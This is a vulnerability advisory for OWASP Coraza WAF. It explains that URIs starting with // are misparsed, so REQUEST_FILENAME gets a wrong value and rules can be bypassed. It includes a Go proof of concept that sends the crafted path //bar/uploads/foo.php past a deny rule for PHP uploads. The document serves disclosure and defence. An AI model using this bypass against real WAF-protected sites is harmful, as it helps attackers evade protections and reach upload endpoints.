OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`

Summary

URLs starting with // are not parsed properly, and the request REQUEST_FILENAME variable contains a wrong value, leading to potential rules bypass.

Details

If a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php.

The root cause is the usage of url.Parse to parse the URI in ProcessURI.

url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path). //bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.

PoC

package main

import (
	"fmt"
	"net/url"
	"os"

	"github.com/corazawaf/coraza/v3"
)

const testRule = `
SecDebugLogLevel 9
SecDebugLog /dev/stdout
SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"
`

func main() {
	var testURL = "//bar/uploads/foo.php"

	if os.Getenv("TEST_URL") != "" {
		testURL = os.Getenv("TEST_URL")
	}

	fmt.Printf("Testing URL: %s\n", testURL)

	config := coraza.NewWAFConfig().WithDirectives(testRule)

	waf, err := coraza.NewWAF(config)

	if err != nil {
		panic(err)
	}

	tx := waf.NewTransaction()

	tx.ProcessURI(testURL, "GET", "HTTP/1.1")

	in := tx.ProcessRequestHeaders()

	if in != nil {
		fmt.Printf("%+v\n", in)
	}
}

Impact

Potential bypass of rules using REQUEST_FILENAME.